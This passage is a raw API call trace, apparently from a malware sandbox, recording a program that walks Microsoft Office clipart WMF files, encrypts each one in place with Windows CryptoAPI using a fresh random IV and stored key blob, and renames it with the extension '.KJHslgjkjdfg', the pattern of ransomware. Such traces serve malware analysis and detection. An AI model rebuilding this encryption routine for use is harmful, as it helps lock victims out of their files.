pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.508] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.508] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.508] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.508] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.508] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.508] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.508] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.508] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.508] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.508] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.508] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x35d8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x35d8, lpOverlapped=0x0) returned 1 [0200.510] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x35e0, dwBufLen=0x35e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x35e0) returned 1 [0200.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.510] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x35e0, lpOverlapped=0x0) returned 1 [0200.510] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.510] SetEndOfFile (hFile=0x130) returned 1 [0200.514] GetProcessHeap () returned 0x2ef0000 [0200.514] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.514] GetProcessHeap () returned 0x2ef0000 [0200.514] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.514] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.kjhslgjkjdfg")) returned 1 [0200.515] CloseHandle (hObject=0x130) returned 1 [0200.515] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107024.WMF", cAlternateFileName="")) returned 1 [0200.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.516] GetProcessHeap () returned 0x2ef0000 [0200.516] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.516] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.516] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.516] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.521] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.521] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.521] GetProcessHeap () returned 0x2ef0000 [0200.521] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.521] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.521] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.521] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.521] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.521] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.521] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.521] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.521] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.522] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.522] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.522] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbcc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbcc, lpOverlapped=0x0) returned 1 [0200.522] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbd0) returned 1 [0200.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.522] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbd0, lpOverlapped=0x0) returned 1 [0200.522] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.522] SetEndOfFile (hFile=0x130) returned 1 [0200.524] GetProcessHeap () returned 0x2ef0000 [0200.524] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.524] GetProcessHeap () returned 0x2ef0000 [0200.524] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.524] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.kjhslgjkjdfg")) returned 1 [0200.525] CloseHandle (hObject=0x130) returned 1 [0200.532] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1dd0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107026.WMF", cAlternateFileName="")) returned 1 [0200.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.533] GetProcessHeap () returned 0x2ef0000 [0200.533] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.533] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.533] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.534] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.534] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.534] GetProcessHeap () returned 0x2ef0000 [0200.534] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.534] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.534] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.534] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.536] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.536] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.536] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.536] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.537] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.537] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.537] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.537] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.537] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1dd0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1dd0, lpOverlapped=0x0) returned 1 [0200.538] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1dd0, dwBufLen=0x1dd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1dd0) returned 1 [0200.538] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.538] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1dd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1dd0, lpOverlapped=0x0) returned 1 [0200.538] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.538] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.538] SetEndOfFile (hFile=0x130) returned 1 [0200.539] GetProcessHeap () returned 0x2ef0000 [0200.539] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.539] GetProcessHeap () returned 0x2ef0000 [0200.539] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.539] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.kjhslgjkjdfg")) returned 1 [0200.541] CloseHandle (hObject=0x130) returned 1 [0200.541] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2358, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107042.WMF", cAlternateFileName="")) returned 1 [0200.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.542] GetProcessHeap () returned 0x2ef0000 [0200.542] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.542] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.542] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.542] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.544] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.544] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.545] GetProcessHeap () returned 0x2ef0000 [0200.545] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.545] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.545] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.545] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.545] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.545] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.545] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.545] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.545] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.545] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.545] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.545] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.545] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2358, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2358, lpOverlapped=0x0) returned 1 [0200.547] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2360, dwBufLen=0x2360 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2360) returned 1 [0200.547] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.547] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2360, lpOverlapped=0x0) returned 1 [0200.547] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.547] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.547] SetEndOfFile (hFile=0x130) returned 1 [0200.550] GetProcessHeap () returned 0x2ef0000 [0200.550] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.550] GetProcessHeap () returned 0x2ef0000 [0200.550] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.550] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.kjhslgjkjdfg")) returned 1 [0200.551] CloseHandle (hObject=0x130) returned 1 [0200.551] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107090.WMF", cAlternateFileName="")) returned 1 [0200.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.552] GetProcessHeap () returned 0x2ef0000 [0200.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.552] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.552] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.552] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.554] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.554] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.554] GetProcessHeap () returned 0x2ef0000 [0200.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.554] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.554] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.554] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.555] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.555] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.555] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, 